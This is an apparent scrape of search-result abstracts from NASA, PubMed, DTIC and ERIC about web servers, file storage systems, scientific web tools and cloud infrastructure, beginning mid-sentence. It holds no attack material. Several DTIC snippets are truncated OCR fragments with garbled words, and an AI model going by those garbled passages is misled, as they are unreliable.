FEMIS database to the other EOCs at the site.« less

WMT: The CSDMS Web Modeling Tool

NASA Astrophysics Data System (ADS)

Piper, M.; Hutton, E. W. H.; Overeem, I.; Syvitski, J. P.

2015-12-01

The Community Surface Dynamics Modeling System (CSDMS) has a mission to enable model use and development for research in earth surface processes. CSDMS strives to expand the use of quantitative modeling techniques, promotes best practices in coding, and advocates for the use of open-source software. To streamline and standardize access to models, CSDMS has developed the Web Modeling Tool (WMT), a RESTful web application with a client-side graphical interface and a server-side database and API that allows users to build coupled surface dynamics models in a web browser on a personal computer or a mobile device, and run them in a high-performance computing (HPC) environment. With WMT, users can: Design a model from a set of components Edit component parameters Save models to a web-accessible server Share saved models with the community Submit runs to an HPC system Download simulation results The WMT client is an Ajax application written in Java with GWT, which allows developers to employ object-oriented design principles and development tools such as Ant, Eclipse and JUnit. For deployment on the web, the GWT compiler translates Java code to optimized and obfuscated JavaScript. The WMT client is supported on Firefox, Chrome, Safari, and Internet Explorer. The WMT server, written in Python and SQLite, is a layered system, with each layer exposing a web service API: wmt-db: database of component, model, and simulation metadata and output wmt-api: configure and connect components wmt-exe: launch simulations on remote execution servers The database server provides, as JSON-encoded messages, the metadata for users to couple model components, including descriptions of component exchange items, uses and provides ports, and input parameters. Execution servers are network-accessible computational resources, ranging from HPC systems to desktop computers, containing the CSDMS software stack for running a simulation. Once a simulation completes, its output, in NetCDF, is packaged and uploaded to a data server where it is stored and from which a user can download it as a single compressed archive file.

Autonomous Data Transfer Operations for Missions

NASA Technical Reports Server (NTRS)

Repaci, Max; Baker, Paul; Brosi, Fred

2000-01-01

Automating the data transfer operation can significantly reduce the cost of moving data from a spacecraft to a location on Earth. Automated data transfer methods have been developed for the terrestrial Internet. However, they often do not apply to the space environment, since in general they are based on assumptions about connectivity that are true on the Internet but not on space links. Automated file transfer protocols have been developed for use over space links that transfer data via store-and-forward of files or segments of files. This paper investigates some of the operational concepts made possible by these protocols.

Autonomous Cryogenics Loading Operations Simulation Software: Knowledgebase Autonomous Test Engineer

NASA Technical Reports Server (NTRS)

Wehner, Walter S., Jr.

2013-01-01

Working on the ACLO (Autonomous Cryogenics Loading Operations) project I have had the opportunity to add functionality to the physics simulation software known as KATE (Knowledgebase Autonomous Test Engineer), create a new application allowing WYSIWYG (what-you-see-is-what-you-get) creation of KATE schematic files and begin a preliminary design and implementation of a new subsystem that will provide vision services on the IHM (Integrated Health Management) bus. The functionality I added to KATE over the past few months includes a dynamic visual representation of the fluid height in a pipe based on number of gallons of fluid in the pipe and implementing the IHM bus connection within KATE. I also fixed a broken feature in the system called the Browser Display, implemented many bug fixes and made changes to the GUI (Graphical User Interface).

Setting Up the JBrowse Genome Browser

PubMed Central

Skinner, Mitchell E; Holmes, Ian H

2010-01-01

JBrowse is a web-based tool for visualizing genomic data. Unlike most other web-based genome browsers, JBrowse exploits the capabilities of the user's web browser to make scrolling and zooming fast and smooth. It supports the browsers used by almost all internet users, and is relatively simple to install. JBrowse can utilize multiple types of data in a variety of common genomic data formats, including genomic feature data in bioperl databases, GFF files, and BED files, and quantitative data in wiggle files. This unit describes how to obtain the JBrowse software, set it up on a Linux or Mac OS X computer running as a web server and incorporate genome annotation data from multiple sources into JBrowse. After completing the protocols described in this unit, the reader will have a web site that other users can visit to browse the genomic data. PMID:21154710

Dial-in flow cytometry data analysis.

PubMed

Battye, Francis L

2002-02-01

As listmode data files continue to grow larger, access via any kind of network connections becomes more and more trouble because of the enormous traffic generated. The limited speed of transmission via modem makes analysis almost impossible. This unit presents a solution to these problems, one that involves installation at the central storage facility of a small computer program called a Web servlet. Operating in concert with a Web server, the servlet assists the analysis by extracting the display array from the data file and organizing its transmission over the network to a remote client program that creates the data display. The author discusses a recent implementation of this solution and the results for model transmission of two typical data files. The system greatly speeds access to remotely stored data yet retains the flexibility of manipulation expected with local access.

HARMONY: a server for the assessment of protein structures

PubMed Central

Pugalenthi, G.; Shameer, K.; Srinivasan, N.; Sowdhamini, R.

2006-01-01

Protein structure validation is an important step in computational modeling and structure determination. Stereochemical assessment of protein structures examine internal parameters such as bond lengths and Ramachandran (φ,ψ) angles. Gross structure prediction methods such as inverse folding procedure and structure determination especially at low resolution can sometimes give rise to models that are incorrect due to assignment of misfolds or mistracing of electron density maps. Such errors are not reflected as strain in internal parameters. HARMONY is a procedure that examines the compatibility between the sequence and the structure of a protein by assigning scores to individual residues and their amino acid exchange patterns after considering their local environments. Local environments are described by the backbone conformation, solvent accessibility and hydrogen bonding patterns. We are now providing HARMONY through a web server such that users can submit their protein structure files and, if required, the alignment of homologous sequences. Scores are mapped on the structure for subsequent examination that is useful to also recognize regions of possible local errors in protein structures. HARMONY server is located at PMID:16844999

Cloud-based Predictive Modeling System and its Application to Asthma Readmission Prediction

PubMed Central

Chen, Robert; Su, Hang; Khalilia, Mohammed; Lin, Sizhe; Peng, Yue; Davis, Tod; Hirsh, Daniel A; Searles, Elizabeth; Tejedor-Sojo, Javier; Thompson, Michael; Sun, Jimeng

2015-01-01

The predictive modeling process is time consuming and requires clinical researchers to handle complex electronic health record (EHR) data in restricted computational environments. To address this problem, we implemented a cloud-based predictive modeling system via a hybrid setup combining a secure private server with the Amazon Web Services (AWS) Elastic MapReduce platform. EHR data is preprocessed on a private server and the resulting de-identified event sequences are hosted on AWS. Based on user-specified modeling configurations, an on-demand web service launches a cluster of Elastic Compute 2 (EC2) instances on AWS to perform feature selection and classification algorithms in a distributed fashion. Afterwards, the secure private server aggregates results and displays them via interactive visualization. We tested the system on a pediatric asthma readmission task on a de-identified EHR dataset of 2,967 patients. We conduct a larger scale experiment on the CMS Linkable 2008–2010 Medicare Data Entrepreneurs’ Synthetic Public Use File dataset of 2 million patients, which achieves over 25-fold speedup compared to sequential execution. PMID:26958172

IIPImage: Large-image visualization

NASA Astrophysics Data System (ADS)

Pillay, Ruven

2014-08-01

IIPImage is an advanced high-performance feature-rich image server system that enables online access to full resolution floating point (as well as other bit depth) images at terabyte scales. Paired with the VisiOmatic (ascl:1408.010) celestial image viewer, the system can comfortably handle gigapixel size images as well as advanced image features such as both 8, 16 and 32 bit depths, CIELAB colorimetric images and scientific imagery such as multispectral images. Streaming is tile-based, which enables viewing, navigating and zooming in real-time around gigapixel size images. Source images can be in either TIFF or JPEG2000 format. Whole images or regions within images can also be rapidly and dynamically resized and exported by the server from a single source image without the need to store multiple files in various sizes.

SITEHOUND-web: a server for ligand binding site identification in protein structures.

PubMed

Hernandez, Marylens; Ghersi, Dario; Sanchez, Roberto

2009-07-01

SITEHOUND-web (http://sitehound.sanchezlab.org) is a binding-site identification server powered by the SITEHOUND program. Given a protein structure in PDB format SITEHOUND-web will identify regions of the protein characterized by favorable interactions with a probe molecule. These regions correspond to putative ligand binding sites. Depending on the probe used in the calculation, sites with preference for different ligands will be identified. Currently, a carbon probe for identification of binding sites for drug-like molecules, and a phosphate probe for phosphorylated ligands (ATP, phoshopeptides, etc.) have been implemented. SITEHOUND-web will display the results in HTML pages including an interactive 3D representation of the protein structure and the putative sites using the Jmol java applet. Various downloadable data files are also provided for offline data analysis.

[Relevance of the hemovigilance regional database for the shared medical file identity server].

PubMed

Doly, A; Fressy, P; Garraud, O

2008-11-01

The French Health Products Safety Agency coordinates the national initiative of computerization of blood products traceability within regional blood banks and public and private hospitals. The Auvergne-Loire Regional French Blood Service, based in Saint-Etienne, together with a number of public hospitals set up a transfusion data network named EDITAL. After four years of progressive implementation and experimentation, a software enabling standardized data exchange has built up a regional nominative database, endorsed by the Traceability Computerization National Committee in 2004. This database now provides secured web access to a regional transfusion history enabling biologists and all hospital and family practitioners to take in charge the patient follow-up. By running independently from the softwares of its partners, EDITAL database provides reference for the regional identity server.

Transitioning the Tactical Marine Corps to IPv6

DTIC Science & Technology

2011-09-01

SUT System Under Test SYSCOM Systems Command (synonymous with MCSC) TCP Transmission Control Protocol TDS Tactical Data Systems TDN...capability to provide services to the Marine Corps Tactical Data Systems ( TDS ) and other DDS-M systems. The 2 DDS-M can function as the file server...Intelligence ( ATI ) program provides comprehensive application protocols and attacks, as well as feature updates and responsive service and support with

Understanding Academic Information Seeking Habits through Analysis of Web Server Log Files: The Case of the Teachers College Library Website

ERIC Educational Resources Information Center

Asunka, Stephen; Chae, Hui Soo; Hughes, Brian; Natriello, Gary

2009-01-01

Transaction logs of user activity on an academic library website were analyzed to determine general usage patterns on the website. This paper reports on insights gained from the analysis, and identifies and discusses issues relating to content access, interface design and general functionality of the website. (Contains 13 figures and 8 tables.)

The Best of all Possible Worlds: Applying the Model Driven Architecture Approach to a JC3IEDM OWL Ontology Modeled in UML

DTIC Science & Technology

2014-04-25

EA’s Java application programming interface (API), the team built a tool called OWL2EA that can ingest an OWL file and generate the corresponding UML...ObjectItemStructure specification shown in Figure 10. Running this script in the relational database server MySQL creates the physical schema that

78 FR 45993 - Self-Regulatory Organizations; The NASDAQ Stock Market LLC; Notice of Filing and Immediate...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-07-30

... allows a member firm to assign up to 30 of its OUCH ports to a dedicated server infrastructure for its exclusive use. A Dedicated OUCH Port Infrastructure subscription is available to a member firm for a fee of... certainty to a subscribing member firm that its OUCH ports are not on shared infrastructure. \\8\\ 15 U.S.C...

Distributed Systems Technology Survey.

DTIC Science & Technology

1987-03-01

and prolocols. 2. Hardware Technology Ecnomic factor we a majo reonm for the prolierat of dlstbted systoe. Processors, memory, an magne tc ndoptical...destined messages and pertorn the a pro te forwarding. There gImsno agreement that a ightweight process mechanism is essential to support com- monly used...Xerox PARC environment [311. Shared file servers, discussed below, are essential to the success of such a scheme. 11. ecurlity A distributed

Secure Your Wireless Network: Going Wireless Comes with Its Own Special Set of Security Concerns

ERIC Educational Resources Information Center

Bloomquist, Jane; Musa, Atif

2004-01-01

Imagine a completely wireless school, an open network in which all students and staff can roam around using laptops or handheld computers to browse the Internet, access files and applications on the school server, and communicate with each other and the world via e-mail. It's a great picture--and at some schools the future is already here. But…

Field-Deployable Video Cloud Solution

DTIC Science & Technology

2016-03-01

78 2. Shipboard Server or Video Cloud System .......................................79 3. 4G LTE and Wi-Fi...local area network LED light emitting diode Li-ion lithium ion LTE long term evolution Mbps mega-bits per second MBps mega-bytes per second xv...restrictions on distribution. File size is dependent on both bit rate and content length. Bit rate is a value measured in bits per second (bps) and is

LVFS: A Scalable Petabye/Exabyte Data Storage System

NASA Astrophysics Data System (ADS)

Golpayegani, N.; Halem, M.; Masuoka, E. J.; Ye, G.; Devine, N. K.

2013-12-01

Managing petabytes of data with hundreds of millions of files is the first step necessary towards an effective big data computing and collaboration environment in a distributed system. We describe here the MODAPS LAADS Virtual File System (LVFS), a new storage architecture which replaces the previous MODAPS operational Level 1 Land Atmosphere Archive Distribution System (LAADS) NFS based approach to storing and distributing datasets from several instruments, such as MODIS, MERIS, and VIIRS. LAADS is responsible for the distribution of over 4 petabytes of data and over 300 million files across more than 500 disks. We present here the first LVFS big data comparative performance results and new capabilities not previously possible with the LAADS system. We consider two aspects in addressing inefficiencies of massive scales of data. First, is dealing in a reliable and resilient manner with the volume and quantity of files in such a dataset, and, second, minimizing the discovery and lookup times for accessing files in such large datasets. There are several popular file systems that successfully deal with the first aspect of the problem. Their solution, in general, is through distribution, replication, and parallelism of the storage architecture. The Hadoop Distributed File System (HDFS), Parallel Virtual File System (PVFS), and Lustre are examples of such file systems that deal with petabyte data volumes. The second aspect deals with data discovery among billions of files, the largest bottleneck in reducing access time. The metadata of a file, generally represented in a directory layout, is stored in ways that are not readily scalable. This is true for HDFS, PVFS, and Lustre as well. Recent experimental file systems, such as Spyglass or Pantheon, have attempted to address this problem through redesign of the metadata directory architecture. LVFS takes a radically different architectural approach by eliminating the need for a separate directory within the file system. The LVFS system replaces the NFS disk mounting approach of LAADS and utilizes the already existing highly optimized metadata database server, which is applicable to most scientific big data intensive compute systems. Thus, LVFS ties the existing storage system with the existing metadata infrastructure system which we believe leads to a scalable exabyte virtual file system. The uniqueness of the implemented design is not limited to LAADS but can be employed with most scientific data processing systems. By utilizing the Filesystem In Userspace (FUSE), a kernel module available in many operating systems, LVFS was able to replace the NFS system while staying POSIX compliant. As a result, the LVFS system becomes scalable to exabyte sizes owing to the use of highly scalable database servers optimized for metadata storage. The flexibility of the LVFS design allows it to organize data on the fly in different ways, such as by region, date, instrument or product without the need for duplication, symbolic links, or any other replication methods. We proposed here a strategic reference architecture that addresses the inefficiencies of scientific petabyte/exabyte file system access through the dynamic integration of the observing system's large metadata file.

VCF-Explorer: filtering and analysing whole genome VCF files.

PubMed

Akgün, Mete; Demirci, Hüseyin

2017-11-01

The decreasing cost in high-throughput technologies led to a number of sequencing projects consisting of thousands of whole genomes. The paradigm shift from exome to whole genome brings a significant increase in the size of output files. Most of the existing tools which are developed to analyse exome files are not adequate for larger VCF files produced by whole genome studies. In this work we present VCF-Explorer, a variant analysis software capable of handling large files. Memory efficiency and avoiding computationally costly pre-processing step enable to carry out the analysis to be performed with ordinary computers. VCF-Explorer provides an easy to use environment where users can define various types of queries based on variant and sample genotype level annotations. VCF-Explorer can be run in different environments and computational platforms ranging from a standard laptop to a high performance server. VCF-Explorer is freely available at: http://vcfexplorer.sourceforge.net/. mete.akgun@tubitak.gov.tr. Supplementary data are available at Bioinformatics online. © The Author 2017. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com

GrayStarServer: Server-side Spectrum Synthesis with a Browser-based Client-side User Interface

NASA Astrophysics Data System (ADS)

Short, C. Ian

2016-10-01

We present GrayStarServer (GSS), a stellar atmospheric modeling and spectrum synthesis code of pedagogical accuracy that is accessible in any web browser on commonplace computational devices and that runs on a timescale of a few seconds. The addition of spectrum synthesis annotated with line identifications extends the functionality and pedagogical applicability of GSS beyond that of its predecessor, GrayStar3 (GS3). The spectrum synthesis is based on a line list acquired from the NIST atomic spectra database, and the GSS post-processing and user interface client allows the user to inspect the plain text ASCII version of the line list, as well as to apply macroscopic broadening. Unlike GS3, GSS carries out the physical modeling on the server side in Java, and communicates with the JavaScript and HTML client via an asynchronous HTTP request. We also describe other improvements beyond GS3 such as a more physical treatment of background opacity and atmospheric physics, the comparison of key results with those of the Phoenix code, and the use of the HTML < {canvas}> element for higher quality plotting and rendering of results. We also present LineListServer, a Java code for converting custom ASCII line lists in NIST format to the byte data type file format required by GSS so that users can prepare their own custom line lists. We propose a standard for marking up and packaging model atmosphere and spectrum synthesis output for data transmission and storage that will facilitate a web-based approach to stellar atmospheric modeling and spectrum synthesis. We describe some pedagogical demonstrations and exercises enabled by easily accessible, on-demand, responsive spectrum synthesis. GSS may serve as a research support tool by providing quick spectroscopic reconnaissance. GSS may be found at www.ap.smu.ca/~ishort/OpenStars/GrayStarServer/grayStarServer.html, and source tarballs for local installations of both GSS and LineListServer may be found at www.ap.smu.ca/~ishort/OpenStars/.

Artificial intelligence in the service of system administrators

NASA Astrophysics Data System (ADS)

Haen, C.; Barra, V.; Bonaccorsi, E.; Neufeld, N.

2012-12-01

The LHCb online system relies on a large and heterogeneous IT infrastructure made from thousands of servers on which many different applications are running. They run a great variety of tasks: critical ones such as data taking and secondary ones like web servers. The administration of such a system and making sure it is working properly represents a very important workload for the small expert-operator team. Research has been performed to try to automatize (some) system administration tasks, starting in 2001 when IBM defined the so-called “self objectives” supposed to lead to “autonomic computing”. In this context, we present a framework that makes use of artificial intelligence and machine learning to monitor and diagnose at a low level and in a non intrusive way Linux-based systems and their interaction with software. Moreover, the multi agent approach we use, coupled with an “object oriented paradigm” architecture should increase our learning speed a lot and highlight relations between problems.

The medium is NOT the message or Indefinitely long-term file storage at Leeds University

NASA Technical Reports Server (NTRS)

Holdsworth, David

1996-01-01

Approximately 3 years ago we implemented an archive file storage system which embodies experiences gained over more than 25 years of using and writing file storage systems. It is the third in-house system that we have written, and all three systems have been adopted by other institutions. This paper discusses the requirements for long-term data storage in a university environment, and describes how our present system is designed to meet these requirements indefinitely. Particular emphasis is laid on experiences from past systems, and their influence on current system design. We also look at the influence of the IEEE-MSS standard. We currently have the system operating in five UK universities. The system operates in a multi-server environment, and is currently operational with UNIX (SunOS4, Solaris2, SGI-IRIX, HP-UX), NetWare3 and NetWare4. PCs logged on to NetWare can also archive and recover files that live on their hard disks.

Design and implementation of a reliable and cost-effective cloud computing infrastructure: the INFN Napoli experience

NASA Astrophysics Data System (ADS)

Capone, V.; Esposito, R.; Pardi, S.; Taurino, F.; Tortone, G.

2012-12-01

Over the last few years we have seen an increasing number of services and applications needed to manage and maintain cloud computing facilities. This is particularly true for computing in high energy physics, which often requires complex configurations and distributed infrastructures. In this scenario a cost effective rationalization and consolidation strategy is the key to success in terms of scalability and reliability. In this work we describe an IaaS (Infrastructure as a Service) cloud computing system, with high availability and redundancy features, which is currently in production at INFN-Naples and ATLAS Tier-2 data centre. The main goal we intended to achieve was a simplified method to manage our computing resources and deliver reliable user services, reusing existing hardware without incurring heavy costs. A combined usage of virtualization and clustering technologies allowed us to consolidate our services on a small number of physical machines, reducing electric power costs. As a result of our efforts we developed a complete solution for data and computing centres that can be easily replicated using commodity hardware. Our architecture consists of 2 main subsystems: a clustered storage solution, built on top of disk servers running GlusterFS file system, and a virtual machines execution environment. GlusterFS is a network file system able to perform parallel writes on multiple disk servers, providing this way live replication of data. High availability is also achieved via a network configuration using redundant switches and multiple paths between hypervisor hosts and disk servers. We also developed a set of management scripts to easily perform basic system administration tasks such as automatic deployment of new virtual machines, adaptive scheduling of virtual machines on hypervisor hosts, live migration and automated restart in case of hypervisor failures.

Virtual Machine Language

NASA Technical Reports Server (NTRS)

Grasso, Christopher; Page, Dennis; O'Reilly, Taifun; Fteichert, Ralph; Lock, Patricia; Lin, Imin; Naviaux, Keith; Sisino, John

2005-01-01

Virtual Machine Language (VML) is a mission-independent, reusable software system for programming for spacecraft operations. Features of VML include a rich set of data types, named functions, parameters, IF and WHILE control structures, polymorphism, and on-the-fly creation of spacecraft commands from calculated values. Spacecraft functions can be abstracted into named blocks that reside in files aboard the spacecraft. These named blocks accept parameters and execute in a repeatable fashion. The sizes of uplink products are minimized by the ability to call blocks that implement most of the command steps. This block approach also enables some autonomous operations aboard the spacecraft, such as aerobraking, telemetry conditional monitoring, and anomaly response, without developing autonomous flight software. Operators on the ground write blocks and command sequences in a concise, high-level, human-readable programming language (also called VML ). A compiler translates the human-readable blocks and command sequences into binary files (the operations products). The flight portion of VML interprets the uplinked binary files. The ground subsystem of VML also includes an interactive sequence- execution tool hosted on workstations, which runs sequences at several thousand times real-time speed, affords debugging, and generates reports. This tool enables iterative development of blocks and sequences within times of the order of seconds.

Implementing eco friendly highly reliable upload feature using multi 3G service

NASA Astrophysics Data System (ADS)

Tanutama, Lukas; Wijaya, Rico

2017-12-01

The current trend of eco friendly Internet access is preferred. In this research the understanding of eco friendly is minimum power consumption. The devices that are selected have operationally low power consumption and normally have no power consumption as they are hibernating during idle state. To have the reliability a router of a router that has internal load balancing feature will provide the improvement of previous research on multi 3G services for broadband lines. Previous studies emphasized on accessing and downloading information files from Public Cloud residing Web Servers. The demand is not only for speed but high reliability of access as well. High reliability will mean mitigating both direct and indirect high cost due to repeated attempts of uploading and downloading the large files. Nomadic and mobile computer users need viable solution. Following solution for downloading information has been proposed and tested. The solution is promising. The result is now extended to providing reliable access line by means of redundancy and automatic reconfiguration for uploading and downloading large information files to a Web Server in the Cloud. The technique is taking advantage of internal load balancing feature to provision a redundant line acting as a backup line. A router that has the ability to provide load balancing to several WAN lines is chosen. The WAN lines are constructed using multiple 3G lines. The router supports the accessing Internet with more than one 3G access line which increases the reliability and availability of the Internet access as the second line immediately takes over if the first line is disturbed.

The Logical Extension

NASA Technical Reports Server (NTRS)

2003-01-01

The same software controlling autonomous and crew-assisted operations for the International Space Station (ISS) is enabling commercial enterprises to integrate and automate manual operations, also known as decision logic, in real time across complex and disparate networked applications, databases, servers, and other devices, all with quantifiable business benefits. Auspice Corporation, of Framingham, Massachusetts, developed the Auspice TLX (The Logical Extension) software platform to effectively mimic the human decision-making process. Auspice TLX automates operations across extended enterprise systems, where any given infrastructure can include thousands of computers, servers, switches, and modems that are connected, and therefore, dependent upon each other. The concept behind the Auspice software spawned from a computer program originally developed in 1981 by Cambridge, Massachusetts-based Draper Laboratory for simulating tasks performed by astronauts aboard the Space Shuttle. At the time, the Space Shuttle Program was dependent upon paper-based procedures for its manned space missions, which typically averaged 2 weeks in duration. As the Shuttle Program progressed, NASA began increasing the length of manned missions in preparation for a more permanent space habitat. Acknowledging the need to relinquish paper-based procedures in favor of an electronic processing format to properly monitor and manage the complexities of these longer missions, NASA realized that Draper's task simulation software could be applied to its vision of year-round space occupancy. In 1992, Draper was awarded a NASA contract to build User Interface Language software to enable autonomous operations of a multitude of functions on Space Station Freedom (the station was redesigned in 1993 and converted into the international venture known today as the ISS)

A low-cost wireless system for autonomous generation of road safety alerts

NASA Astrophysics Data System (ADS)

Banks, B.; Harms, T.; Sedigh Sarvestani, S.; Bastianini, F.

2009-03-01

This paper describes an autonomous wireless system that generates road safety alerts, in the form of SMS and email messages, and sends them to motorists subscribed to the service. Drivers who regularly traverse a particular route are the main beneficiaries of the proposed system, which is intended for sparsely populated rural areas, where information available to drivers about road safety, especially bridge conditions, is very limited. At the heart of this system is the SmartBrick, a wireless system for remote structural health monitoring that has been presented in our previous work. Sensors on the SmartBrick network regularly collect data on water level, temperature, strain, and other parameters important to safety of a bridge. This information is stored on the device, and reported to a remote server over the GSM cellular infrastructure. The system generates alerts indicating hazardous road conditions when the data exceeds thresholds that can be remotely changed. The remote server and any number of designated authorities can be notified by email, FTP, and SMS. Drivers can view road conditions and subscribe to SMS and/or email alerts through a web page. The subscription-only form of alert generation has been deliberately selected to mitigate privacy concerns. The proposed system can significantly increase the safety of travel through rural areas. Real-time availability of information to transportation authorities and law enforcement officials facilitates early or proactive reaction to road hazards. Direct notification of drivers further increases the utility of the system in increasing the safety of the traveling public.

The CUAHSI Water Data Center: Enabling Data Publication, Discovery and Re-use

NASA Astrophysics Data System (ADS)

Seul, M.; Pollak, J.

2014-12-01

The CUAHSI Water Data Center (WDC) supports a standards-based, services-oriented architecture for time-series data and provides a separate service to publish spatial data layers as shape files. Two new services that the WDC offers are a cloud-based server (Cloud HydroServer) for publishing data and a web-based client for data discovery. The Cloud HydroServer greatly simplifies data publication by eliminating the need for scientists to set up an SQL-server data base, a requirement that has proven to be a significant barrier, and ensures greater reliability and continuity of service. Uploaders have been developed to simplify the metadata documentation process. The web-based data client eliminates the need for installing a program to be used as a client and works across all computer operating systems. The services provided by the WDC is a foundation for big data use, re-use, and meta-analyses. Using data transmission standards enables far more effective data sharing and discovery; standards used by the WDC are part of a global set of standards that should enable scientists to access unprecedented amount of data to address larger-scale research questions than was previously possible. A central mission of the WDC is to ensure these services meet the needs of the water science community and are effective at advancing water science.

High Performance Computing Assets for Ocean Acoustics Research

DTIC Science & Technology

2016-11-18

independently on processing units with access to a typically available amount of memory, say 16 or 32 gigabytes. Our models require each processor to...allow results to be obtained with limited amounts of memory available to individual processing units (with no time frame for successful completion...put into use. One file server computer to store simulation output has also been purchased. The first workstation has 28 CPU cores, dual- thread , (56

A Systematic Approach for Assessing Workforce Readiness

DTIC Science & Technology

2014-08-01

goals: (1) to collect data from designated in- formation technology equipment and (2) to analyze the collected data. The two goals are typically...office, home, or information technology (IT) department. The purpose of data collection is to gather images of disks, file servers, etc., from a site...naissance to identify which technologies are deployed at a site and determine which data need to be collected from the organization’s systems and

Access to Inter-Organization Computer Networks.

DTIC Science & Technology

1985-08-01

management of computing and information systems, system management . 20. ABSTRACT (Continue on reverse aide it neceeery end identify by block number) When two...necessary control mechanisms. Message-based gateways that support non-real-time invocation of services (e.g., file and print servers, financial ...operations (C.2.3), electronic mail (H.4.3), public policy issues (K.4.1), organizationa impacts (K.4.3), management of computing and information systems (K.6

An Advanced Commanding and Telemetry System

NASA Astrophysics Data System (ADS)

Hill, Maxwell G. G.

The Loral Instrumentation System 500 configured as an Advanced Commanding and Telemetry System (ACTS) supports the acquisition of multiple telemetry downlink streams, and simultaneously supports multiple uplink command streams for today's satellite vehicles. By using industry and federal standards, the system is able to support, without relying on a host computer, a true distributed dataflow architecture that is complemented by state-of-the-art RISC-based workstations and file servers.

On-Line Data Reconstruction in Redundant Disk Arrays.

DTIC Science & Technology

1994-05-01

each sale, - file servers that support a large number of clients with differing work schedules , and * automated teller networks in banking systems...24KB Head scheduling : FIFO User data layout: Sequential in address space of array Disk spindles: Synchronized Table 2.2: Default array parameters for...package and a set of scheduling and queueing routines. 2.3.3. Default workload This dissertation reports on many performance evaluations. In order to

Experience with procuring, deploying and maintaining hardware at remote co-location centre

NASA Astrophysics Data System (ADS)

Bärring, O.; Bonfillou, E.; Clement, B.; Coelho Dos Santos, M.; Dore, V.; Gentit, A.; Grossir, A.; Salter, W.; Valsan, L.; Xafi, A.

2014-05-01

In May 2012 CERN signed a contract with the Wigner Data Centre in Budapest for an extension to CERN's central computing facility beyond its current boundaries set by electrical power and cooling available for computing. The centre is operated as a remote co-location site providing rack-space, electrical power and cooling for server, storage and networking equipment acquired by CERN. The contract includes a 'remote-hands' services for physical handling of hardware (rack mounting, cabling, pushing power buttons, ...) and maintenance repairs (swapping disks, memory modules, ...). However, only CERN personnel have network and console access to the equipment for system administration. This report gives an insight to adaptations of hardware architecture, procurement and delivery procedures undertaken enabling remote physical handling of the hardware. We will also describe tools and procedures developed for automating the registration, burn-in testing, acceptance and maintenance of the equipment as well as an independent but important change to the IT assets management (ITAM) developed in parallel as part of the CERN IT Agile Infrastructure project. Finally, we will report on experience from the first large delivery of 400 servers and 80 SAS JBOD expansion units (24 drive bays) to Wigner in March 2013. Changes were made to the abstract file on 13/06/2014 to correct errors, the pdf file was unchanged.

Alview: Portable Software for Viewing Sequence Reads in BAM Formatted Files.

PubMed

Finney, Richard P; Chen, Qing-Rong; Nguyen, Cu V; Hsu, Chih Hao; Yan, Chunhua; Hu, Ying; Abawi, Massih; Bian, Xiaopeng; Meerzaman, Daoud M

2015-01-01

The name Alview is a contraction of the term Alignment Viewer. Alview is a compiled to native architecture software tool for visualizing the alignment of sequencing data. Inputs are files of short-read sequences aligned to a reference genome in the SAM/BAM format and files containing reference genome data. Outputs are visualizations of these aligned short reads. Alview is written in portable C with optional graphical user interface (GUI) code written in C, C++, and Objective-C. The application can run in three different ways: as a web server, as a command line tool, or as a native, GUI program. Alview is compatible with Microsoft Windows, Linux, and Apple OS X. It is available as a web demo at https://cgwb.nci.nih.gov/cgi-bin/alview. The source code and Windows/Mac/Linux executables are available via https://github.com/NCIP/alview.

Real-Time Access to Altimetry and Operational Oceanography Products via OPeNDAP/LAS Technologies : the Example of Aviso, Mercator and Mersea Projects

NASA Astrophysics Data System (ADS)

Baudel, S.; Blanc, F.; Jolibois, T.; Rosmorduc, V.

2004-12-01

The Products and Services (P&S) department in the Space Oceanography Division at CLS is in charge of diffusing and promoting altimetry and operational oceanography data. P&S is so involved in Aviso satellite altimetry project, in Mercator ocean operational forecasting system, and in the European Godae /Mersea ocean portal. Aiming to a standardisation and a common vision and management of all these ocean data, these projects led to the implementation of several OPeNDAP/LAS Internet servers. OPeNDAP allows the user to extract via a client software (like IDL, Matlab or Ferret) the data he is interested in and only this data, avoiding him to download full information files. OPeNDAP allows to extract a geographic area, a period time, an oceanic variable, and an output format. LAS is an OPeNDAP data access web server whose special feature consists in the facility for unify in a single vision the access to multiple types of data from distributed data sources. The LAS can make requests to different remote OPeNDAP servers. This enables to make comparisons or statistics upon several different data types. Aviso is the CNES/CLS service which distributes altimetry products since 1993. The Aviso LAS distributes several Ssalto/Duacs altimetry products such as delayed and near-real time mean sea level anomaly, absolute dynamic topography, absolute geostrophic velocities, gridded significant wave height and gridded wind speed modulus. Mercator-Ocean is a French operational oceanography centre which distributes its products by several means among them LAS/OPeNDAP servers as part of Mercator Mersea-strand1 contribution. 3D ocean description (temperature, salinity, current and other oceanic variables) of the North Atlantic and Mediterranean are real-time available and weekly updated. LAS special feature consisting in the possibility of making requests to several remote data centres with same OPeNDAP configurations particularly fitted to Mersea strand-1 problematics. This European project (June 2003 to June 2004) sponsored by the European Commission was the first experience of an integrated operational oceanography project. The objective was the assessment of several existing operational in situ and satellite monitoring and numerical forecasting systems for the future elaboration (Mersea Integrated Project, 2004-2008) of an integrated system able to deliver, operationally, information products (physical, chemical, biological) towards end-users in several domains related to environment, security and safety. Five forecasting ocean models with data assimilation coming from operational in situ or satellite data centres, have been intercompared. The main difficulty of this LAS implementation has lied in the ocean model metrics definition and a common file format adoption which forced the model teams to produce the same datasets in the same formats (NetCDF, COARDS/CF convention). Notice that this was a pioneer approach and that it has been adopted by Godae standards (see F. Blanc's paper in this session). Going on these web technologies implementation and entering a more user-oriented issue, perspectives deal with the implementation of a Map Server, a GIS opensource server which will communicate with the OPeNDAP server. The Map server will be able to manipulate simultaneously raster and vector multidisciplinary remote data. The aim is to construct a full complete web oceanic data distribution service. The projects in which we are involved allow us to progress towards that.

An incremental database access method for autonomous interoperable databases

NASA Technical Reports Server (NTRS)

Roussopoulos, Nicholas; Sellis, Timos

1994-01-01

